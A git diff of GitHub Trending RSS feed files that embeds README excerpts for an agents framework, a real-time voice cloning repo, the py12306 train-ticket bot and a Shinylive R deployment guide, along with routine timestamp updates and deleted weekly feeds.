Space]</li> <li><a href="https://www.aiwaves.cn/fiction-studio/">Fiction Studio</a></li> </ul> <h2>Contributing to Agents</h2> <p>We appreciate your interest in contributing to our open-source initiative. Please feel free to submit a PR or share your thoughts on how to improve the library in Issues!</p> <h2>Note:</h2> <ol> <li>When running the code, we will download an embedding model, which will cause the code to run slowly. We will adjust it to the API interface later</li> <li>Currently, the shopping assistant cannot be used. We will replace the API later. Stay tuned</li> </ol> <h2>📚 Documentation</h2> <p>Please check our <a href="https://agents-readthedocsio.readthedocs.io/en/latest/index.html">documentation</a> for detailed documentation of the framework.</p> <h2>⭐ Star History</h2> <p><a href="https://star-history.com/#aiwaves-cn/agents&amp;Date"><img src="https://api.star-history.com/svg?repos=aiwaves-cn/agents&amp;type=Date" alt="Star History Chart"></a></p> <h2>Citation</h2> <p>If you find our repo useful in your research, please kindly consider cite:</p> <pre><code class="language-angular2">@misc{zhou2023agents, title={Agents: An Open-source Framework for Autonomous Language Agents}, author={Wangchunshu Zhou and Yuchen Eleanor Jiang and Long Li and Jialong Wu and Tiannan Wang and Shi Qiu and Jintian Zhang and Jing Chen and Ruipu Wu and Shuai Wang and Shiding Zhu and Jiyu Chen and Wentao Zhang and Ningyu Zhang and Huajun Chen and Peng Cui and Mrinmaya Sachan}, year={2023}, eprint={2309.07870}, archivePrefix={arXiv}, primaryClass={cs.CL} } </code></pre> - - - CorentinJ/Real-Time-Voice-Cloning - 2023-09-24T01:58:55Z - tag:github.com,2023-09-24:/CorentinJ/Real-Time-Voice-Cloning - - <p>Clone a voice in 5 seconds to generate arbitrary speech in real-time</p><hr><h1>Real-Time Voice Cloning</h1> <p>This repository is an implementation of <a href="https://arxiv.org/pdf/1806.04558.pdf">Transfer Learning from Speaker Verification to Multispeaker Text-To-Speech Synthesis</a> (SV2TTS) with a vocoder that works in real-time. This was my <a href="https://matheo.uliege.be/handle/2268.2/6801">master's thesis</a>.</p> <p>SV2TTS is a deep learning framework in three stages. In the first stage, one creates a digital representation of a voice from a few seconds of audio. In the second and third stages, this representation is used as reference to generate speech given arbitrary text.</p> <p><strong>Video demonstration</strong> (click the picture):</p> <p><a href="https://www.youtube.com/watch?v=-O_hYhToKoA"><img src="https://i.imgur.com/8lFUlgz.png" alt="Toolbox demo"></a></p> <h3>Papers implemented</h3> <table> <thead> <tr> <th>URL</th> <th>Designation</th> <th>Title</th> <th>Implementation source</th> </tr> </thead> <tbody> <tr> <td><a href="https://arxiv.org/pdf/1806.04558.pdf"><strong>1806.04558</strong></a></td> <td><strong>SV2TTS</strong></td> <td><strong>Transfer Learning from Speaker Verification to Multispeaker Text-To-Speech Synthesis</strong></td> <td>This repo</td> </tr> <tr> <td><a href="https://arxiv.org/pdf/1802.08435.pdf">1802.08435</a></td> <td>WaveRNN (vocoder)</td> <td>Efficient Neural Audio Synthesis</td> <td><a href="https://github.com/fatchord/WaveRNN">fatchord/WaveRNN</a></td> </tr> <tr> <td><a href="https://arxiv.org/pdf/1703.10135.pdf">1703.10135</a></td> <td>Tacotron (synthesizer)</td> <td>Tacotron: Towards End-to-End Speech Synthesis</td> <td><a href="https://github.com/fatchord/WaveRNN">fatchord/WaveRNN</a></td> </tr> <tr> <td><a href="https://arxiv.org/pdf/1710.10467.pdf">1710.10467</a></td> <td>GE2E (encoder)</td> <td>Generalized End-To-End Loss for Speaker Verification</td> <td>This repo</td> </tr> </tbody> </table> <h2>Heads up</h2> <p>Like everything else in Deep Learning, this repo is quickly getting old. Many other open-source repositories or SaaS apps (often paying) will give you a better audio quality than this repository will. If you care about the fidelity of the voice you're cloning, and its expressivity, here are some personal recommendations of alternative voice cloning solutions:</p> <ul> <li>Check out <a href="https://github.com/coqui-ai/tts">CoquiTTS</a> for an open source repository that is more up-to-date, with a better voice cloning quality and more functionalities.</li> <li>Check out <a href="https://paperswithcode.com/task/speech-synthesis/">paperswithcode</a> for other repositories and recent research in the field of speech synthesis.</li> <li>Check out <a href="https://www.resemble.ai/">Resemble.ai</a> (disclaimer: I work there) for state of the art voice cloning with little hassle.</li> </ul> <h2>Setup</h2> <h3>1. Install Requirements</h3> <ol> <li>Both Windows and Linux are supported. A GPU is recommended for training and for inference speed, but is not mandatory.</li> <li>Python 3.7 is recommended. Python 3.5 or greater should work, but you'll probably have to tweak the dependencies' versions. I recommend setting up a virtual environment using <code>venv</code>, but this is optional.</li> <li>Install <a href="https://ffmpeg.org/download.html#get-packages">ffmpeg</a>. This is necessary for reading audio files.</li> <li>Install <a href="https://pytorch.org/get-started/locally/">PyTorch</a>. Pick the latest stable version, your operating system, your package manager (pip by default) and finally pick any of the proposed CUDA versions if you have a GPU, otherwise pick CPU. Run the given command.</li> <li>Install the remaining requirements with <code>pip install -r requirements.txt</code></li> </ol> <h3>2. (Optional) Download Pretrained Models</h3> <p>Pretrained models are now downloaded automatically. If this doesn't work for you, you can manually download them <a href="https://github.com/CorentinJ/Real-Time-Voice-Cloning/wiki/Pretrained-models">here</a>.</p> <h3>3. (Optional) Test Configuration</h3> <p>Before you download any dataset, you can begin by testing your configuration with:</p> <p><code>python demo_cli.py</code></p> <p>If all tests pass, you're good to go.</p> <h3>4. (Optional) Download Datasets</h3> <p>For playing with the toolbox alone, I only recommend downloading <a href="https://www.openslr.org/resources/12/train-clean-100.tar.gz"><code>LibriSpeech/train-clean-100</code></a>. Extract the contents as <code>&lt;datasets_root&gt;/LibriSpeech/train-clean-100</code> where <code>&lt;datasets_root&gt;</code> is a directory of your choosing. Other datasets are supported in the toolbox, see <a href="https://github.com/CorentinJ/Real-Time-Voice-Cloning/wiki/Training#datasets">here</a>. You're free not to download any dataset, but then you will need your own data as audio files or you will have to record it with the toolbox.</p> <h3>5. Launch the Toolbox</h3> <p>You can then try the toolbox:</p> <p><code>python demo_toolbox.py -d &lt;datasets_root&gt;</code><br> or<br> <code>python demo_toolbox.py</code></p> <p>depending on whether you downloaded any datasets. If you are running an X-server or if you have the error <code>Aborted (core dumped)</code>, see <a href="https://github.com/CorentinJ/Real-Time-Voice-Cloning/issues/11#issuecomment-504733590">this issue</a>.</p> - - - pjialin/py12306 - 2023-09-24T01:58:55Z - tag:github.com,2023-09-24:/pjialin/py12306 - - <p>🚂 12306 购票助手,支持集群,多账号,多任务购票以及 Web 页面管理</p><hr><h1>🚂 py12306 购票助手</h1> <p>分布式,多账号,多任务购票</p> <h2>Features</h2> <ul> <li><input type="checkbox" checked disabled> 多日期查询余票</li> <li><input type="checkbox" checked disabled> 自动打码下单</li> <li><input type="checkbox" checked disabled> 用户状态恢复</li> <li><input type="checkbox" checked disabled> 电话语音通知</li> <li><input type="checkbox" checked disabled> 多账号、多任务、多线程支持</li> <li><input type="checkbox" checked disabled> 单个任务多站点查询</li> <li><input type="checkbox" checked disabled> 分布式运行</li> <li><input type="checkbox" checked disabled> Docker 支持</li> <li><input type="checkbox" checked disabled> 动态修改配置文件</li> <li><input type="checkbox" checked disabled> 邮件通知</li> <li><input type="checkbox" checked disabled> Web 管理页面</li> <li><input type="checkbox" checked disabled> 微信消息通知</li> <li><input type="checkbox" disabled> 代理池支持 (<a href="https://github.com/pjialin/pyproxy-async">pyproxy-async</a>)</li> </ul> <h2>使用</h2> <p>py12306 需要运行在 python 3.6 以上版本(其它版本暂未测试)</p> <p><strong>1. 安装依赖</strong></p> <pre><code class="language-bash">git clone https://github.com/pjialin/py12306 pip install -r requirements.txt </code></pre> <p><strong>2. 配置程序</strong></p> <pre><code class="language-bash">cp env.py.example env.py </code></pre> <p>自动打码</p> <p>(若快已停止服务,目前只能设置<strong>free</strong>打码模式) free 已对接到打码共享平台,<a href="https://py12306-helper.pjialin.com/">https://py12306-helper.pjialin.com</a>,欢迎参与分享</p> <p>语音通知</p> <p>语音验证码使用的是阿里云 API 市场上的一个服务商,需要到 <a href="https://market.aliyun.com/products/56928004/cmapi026600.html">https://market.aliyun.com/products/56928004/cmapi026600.html</a> 购买后将 appcode 填写到配置中</p> <p><strong>3. 启动前测试</strong></p> <p>目前提供了一些简单的测试,包括用户账号检测,乘客信息检测,车站检测等</p> <p>开始测试 -t</p> <pre><code class="language-bash">python main.py -t </code></pre> <p>测试通知消息 (语音, 邮件) -t -n</p> <pre><code class="language-bash"># 默认不会进行通知测试,要对通知进行测试需要加上 -n 参数 python main.py -t -n </code></pre> <p><strong>4. 运行程序</strong></p> <pre><code class="language-bash">python main.py </code></pre> <h3>参数列表</h3> <ul> <li>-t 测试配置信息</li> <li>-t -n 测试配置信息以及通知消息</li> <li>-c 指定自定义配置文件位置</li> </ul> <h3>分布式集群</h3> <p>集群依赖于 redis,目前支持情况</p> <ul> <li>单台主节点多个子节点同时运行</li> <li>主节点宕机后自动切换提升子节点为主节点</li> <li>主节点恢复后自动恢复为真实主节点</li> <li>配置通过主节点同步到所有子节点</li> <li>主节点配置修改后无需重启子节点,支持自动更新</li> <li>子节点消息实时同步到主节点</li> </ul> <p><strong>使用</strong></p> <p>将配置文件的中 <code>CLUSTER_ENABLED</code> 打开即开启分布式</p> <p>目前提供了一个单独的子节点配置文件 <code>env.slave.py.example</code> 将文件修改为 <code>env.slave.py</code>, 通过 <code>python main.py -c env.slave.py</code> 即可快速启动</p> <h2>Docker 使用</h2> <p><strong>1. 将配置文件下载到本地</strong></p> <pre><code class="language-bash">docker run --rm pjialin/py12306 cat /config/env.py &gt; env.py # 或 curl https://raw.githubusercontent.com/pjialin/py12306/master/env.docker.py.example -o env.py </code></pre> <p><strong>2. 修改好配置后运行</strong></p> <pre><code class="language-bash">docker run --rm --name py12306 -p 8008:8008 -d -v $(pwd):/config -v py12306:/data pjialin/py12306 </code></pre> <p>当前目录会多一个 12306.log 的日志文件, <code>tail -f 12306.log</code></p> <h3>Docker-compose 中使用</h3> <p><strong>1. 复制配置文件</strong></p> <pre><code>cp docker-compose.yml.example docker-compose.yml </code></pre> <p><strong>2. 从 docker-compose 运行</strong></p> <p>在<code>docker-compose.yml</code>所在的目录使用命令</p> <pre><code>docker-compose up -d </code></pre> <h2>Web 管理页面</h2> <p>目前支持用户和任务以及实时日志查看,更多功能后续会不断加入</p> <p><strong>使用</strong></p> <p>打开 Web 功能需要将配置中的 <code>WEB_ENABLE</code> 打开,启动程序后访问当前主机地址 + 端口号 (默认 8008) 即可,如 <a href="http://127.0.0.1:8008">http://127.0.0.1:8008</a></p> <h2>更新</h2> <ul> <li>19-01-10 <ul> <li>支持分布式集群</li> </ul> </li> <li>19-01-11 <ul> <li>配置文件支持动态修改</li> </ul> </li> <li>19-01-12 <ul> <li>新增免费打码</li> </ul> </li> <li>19-01-14 <ul> <li>新增 Web 页面支持</li> </ul> </li> <li>19-01-15 <ul> <li>新增 钉钉通知</li> <li>新增 Telegram 通知</li> <li>新增 ServerChan 和 PushBear 微信推送</li> </ul> </li> <li>19-01-18 <ul> <li>新增 CDN 查询</li> </ul> </li> </ul> <h2>截图</h2> <h3>Web 管理页面</h3> <p><img src="https://github.com/pjialin/py12306/raw/master/data/images/web.png" alt="Web 管理页面图片"></p> <h3>下单成功</h3> <p><img src="https://github.com/pjialin/py12306/raw/master/data/images/order_success.png" alt="下单成功图片"></p> <h3>关于防封</h3> <p>目前查询和登录操作是分开的,查询是不依赖用户是否登录,放在 A 云 T 云容易被限制 ip,建议在其它网络环境下运行</p> <p>QQ 交流群 <a href="https://jq.qq.com/?_wv=1027&amp;k=5PgzDwV">780289875</a>,TG 群 <a href="https://t.me/joinchat/F3sSegrF3x8KAmsd1mTu7w">Py12306 交流</a></p> <h3>Online IDE</h3> <p><a href="https://gitpod.io#https://github.com/pjialin/py12306"><img src="https://gitpod.io/button/open-in-gitpod.svg?sanitize=true" alt="在 Gitpod 中打开"></a></p> <h2>Thanks</h2> <ul> <li>感谢大佬 <a href="https://github.com/testerSunshine/12306">testerSunshine</a>,借鉴了部分实现</li> <li>感谢所有提供 pr 的大佬</li> <li>感谢大佬 <a href="https://github.com/zhaipro/easy12306">zhaipro</a> 的验证码本地识别模型与算法</li> </ul> <h2>License</h2> <p><a href="https://github.com/pjialin/py12306/raw/master/LICENSE">Apache License.</a></p> - - \ No newline at end of file diff --git a/q%23/daily/index.xml b/q%23/daily/index.xml index 07bcdb33f17..b21a822300a 100644 --- a/q%23/daily/index.xml +++ b/q%23/daily/index.xml @@ -1,7 +1,7 @@ GitHub Q# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:36Z + 2023-09-25T01:38:46Z Daily Trending of Q# in GitHub \ No newline at end of file diff --git a/q%23/weekly/index.xml b/q%23/weekly/index.xml deleted file mode 100644 index 84cdbd8922a..00000000000 --- a/q%23/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Q# Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:15Z - Weekly Trending of Q# in GitHub - - \ No newline at end of file diff --git a/q/daily/index.xml b/q/daily/index.xml index 5fc45da3012..a02ba472de8 100644 --- a/q/daily/index.xml +++ b/q/daily/index.xml @@ -1,7 +1,7 @@ GitHub q Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:35Z + 2023-09-25T01:38:48Z Daily Trending of q in GitHub \ No newline at end of file diff --git a/q/weekly/index.xml b/q/weekly/index.xml deleted file mode 100644 index 3733b9000e2..00000000000 --- a/q/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub q Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:15Z - Weekly Trending of q in GitHub - - \ No newline at end of file diff --git a/qmake/daily/index.xml b/qmake/daily/index.xml index e76cc1e535f..236d688a182 100644 --- a/qmake/daily/index.xml +++ b/qmake/daily/index.xml @@ -1,7 +1,7 @@ GitHub QMake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:37Z + 2023-09-25T01:38:47Z Daily Trending of QMake in GitHub \ No newline at end of file diff --git a/qmake/weekly/index.xml b/qmake/weekly/index.xml deleted file mode 100644 index 85e39301f6f..00000000000 --- a/qmake/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub QMake Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:16Z - Weekly Trending of QMake in GitHub - - \ No newline at end of file diff --git a/qml/daily/index.xml b/qml/daily/index.xml index 91102a1190b..f5aa1146bc3 100644 --- a/qml/daily/index.xml +++ b/qml/daily/index.xml @@ -1,7 +1,7 @@ GitHub QML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:40Z + 2023-09-25T01:38:50Z Daily Trending of QML in GitHub \ No newline at end of file diff --git a/qml/weekly/index.xml b/qml/weekly/index.xml deleted file mode 100644 index 7cd7fa31c27..00000000000 --- a/qml/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub QML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:20Z - Weekly Trending of QML in GitHub - - - Deltares/Ribasim-NL - 2023-09-24T01:59:20Z - tag:github.com,2023-09-24:/Deltares/Ribasim-NL - - <p>Ribasim water resources modeling in the Netherlands</p><hr> - - \ No newline at end of file diff --git a/qt-script/daily/index.xml b/qt-script/daily/index.xml index 624842d9409..7f063d1407b 100644 --- a/qt-script/daily/index.xml +++ b/qt-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Qt Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:38Z + 2023-09-25T01:38:51Z Daily Trending of Qt Script in GitHub \ No newline at end of file diff --git a/qt-script/weekly/index.xml b/qt-script/weekly/index.xml deleted file mode 100644 index b49911dc610..00000000000 --- a/qt-script/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Qt Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:19Z - Weekly Trending of Qt Script in GitHub - - \ No newline at end of file diff --git a/quake/daily/index.xml b/quake/daily/index.xml index b89f4e35c09..3f8b47de9e0 100644 --- a/quake/daily/index.xml +++ b/quake/daily/index.xml @@ -1,7 +1,7 @@ GitHub Quake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:39Z + 2023-09-25T01:38:52Z Daily Trending of Quake in GitHub \ No newline at end of file diff --git a/quake/weekly/index.xml b/quake/weekly/index.xml deleted file mode 100644 index 4ad90a2e689..00000000000 --- a/quake/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Quake Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:18Z - Weekly Trending of Quake in GitHub - - \ No newline at end of file diff --git a/r/daily/index.xml b/r/daily/index.xml index 2e3fa2ac64b..fc7ec028582 100644 --- a/r/daily/index.xml +++ b/r/daily/index.xml @@ -1,21 +1,28 @@ GitHub R Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:43Z + 2023-09-25T01:38:55Z Daily Trending of R in GitHub - RamiKrispin/shinylive-r - 2023-09-24T01:39:43Z - tag:github.com,2023-09-24:/RamiKrispin/shinylive-r - - <p>A guide for deploying Shinylive R application into Github Pages</p><hr><h1>Deploy Shinylive R App on Github Pages</h1> <p>WIP...</p> <p>App rendered on the browser with Shinylive editor with <a href="https://shinylive.io/r/editor/#code=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-ZxzUpnOp1c5p90+nPPefwb5-zd0HkTHNjJ0oXz305EXdDbeekHSWvpIUY1C8l48Xy8pgsv8Vz-xgjyMjNW1GsTADAB+3Bn5sAuWo8Vp6m4OjEB-Z8vAe4RB1AQE9xtHIZOdVRncppngwBEBsCAGAoDeH2QVvazmNizZo2ODAanVoOhUFgcEhDaAAB8AB89LQWjo9fW90GSjXLukI8tdxKE0Ep3SSwJPDqWHqpdm1GZ6CwXrZYN2BlbuV3p1GZZzj2FK2Rti6R8PaitmAU-DpTKEbIlg045Ryi3nVzC4MVTLkrIeGmYHBsbxrUAbHh0tsL6Gjo9frGVneNcaI0+43T+HuRGdbYZkLpzMtZITc9I9w003Hm7fm4t5bq31sgXh2oHbAy9skAO6HI7OoTtna2dd27hL7vjq2Y5aA8B2DxoIFsx5KYeTNJyc1wohjZRRme6951H241faTYS9dv3-uZqB8enNCVQdOgLRDyX2doflpZwjpLuJnstFSI857zvaAAGpaBMREzw2gAAqCwBAjVu4ys94wqoM-InL9niYBe-sl7LxXm+j5BwzGHF2LCe45No97YUEjinbaVbbN368o48wE4956EQ4EwLOqHeYFPdjwKy4mGb+AAFUXRrgBioP-vt1B73SHwHtLw8g6ZeemPRbKo3rUDD4pSe1AS7nx6BTaaQsQAc-DsCacvAII0WUYC+YERqKqFAKW+eiAEAgQqoXyi+MA0u8+G+5ekBogzqC2JUiB4BGBIgWyeeTEHwiA2BkguBMAEBuGhBr+KBuIfmH+7oX+VmP+f+W2ABUWjaSB7ey8JOhK5g5yzAC2MeNuFBL2kakgYqXBz2nOOImeghTAwhrKohC+XuEhskGwTGRW96zGNuYBlBsh7+UYDBRO0BYEwKAAfrQBgBsEcr8kgcABsBMKqBoLGM8Fbp8voVsuPgeBITWAALp0HBRTaxYTDy7SiK60ArZrazCq5bbq50ZtJrgxSa4rK9iPRaGDQCbLZwCqh2E6iqF26XY3YR6SKm6ururm5Iqehr5qF77vYH4-bH7JrEpn4A7tHA4fRR4tZ35XpnSP7P6bZOZv5mYmGAaBikC0LwZmDZJ1gVDgRvZhEsCTEvC+4bp4oOgTSZbfLiGors71hDI6hzS267EGD7HRjdHg4AJmbzFMoO7PBUYrFbjbHmDiG2gbBp4BAaH55CRlIAYBBXDPAq627v4AmGophbEr5vGbIbDHGfFMBSGMHZLPDzRQmvYbA352KOqvFrJAInD7jUBMTmAADsxJYgwimCpA+860PIxgmCY68AGAiGOoXmeC+Cj0JU1cOCbJj0ViKo-yOQnAIKYgjgdIQJIKpA4EdgGwxAg0PI2YdgAAHLlJ0R6N4t7DyF+nKs+gwFEOEpgpII4FuhCTwC8acZIbCTgXUWcVPA4GTmfFsSaRAGaWZIilsdXrXmKpaeQRCVaeXunm6TgWiXtGKlPIaT6A6FYpwLunfJZCNEnieBsIUH4ChAWLaYhPuAZjOBgC4j8jWiGrQABEBpKAkKICCO7s9OQJINKKsKENqGPFWS-qgugj6pKZIB8eqhUPuDZgAJoyA2bbDvy6Av7zHtlsSyn7gKm-H5iinrRjyJjzTCaKkAYwCNmvBCjahtxpAGBNmdnSi3FJkEBcAOyWrdIsnxaIpdlJqSnSnjn4koRTkqkwSznMQykrobQYDLl1izk27zTWntm0CYlZ7Egyn3mByEkklknCLniaFUkOhbk14gQiQCg-kokOj-kYnoX+kBCgWDTngim1QwWKxwXCSaF5HwViKoV-nl7omAVYUmq164UOj4VrREWnCYkIXkXCQAaGj-rYhjF0AADCZy5ANgPATKvg0ySgbw4lBIqAzwcIDocISZbSfOrScyJQoIYAXa-hQAA">code</a> and <a href="https://shinylive.io/r/app/#h=0&amp;code=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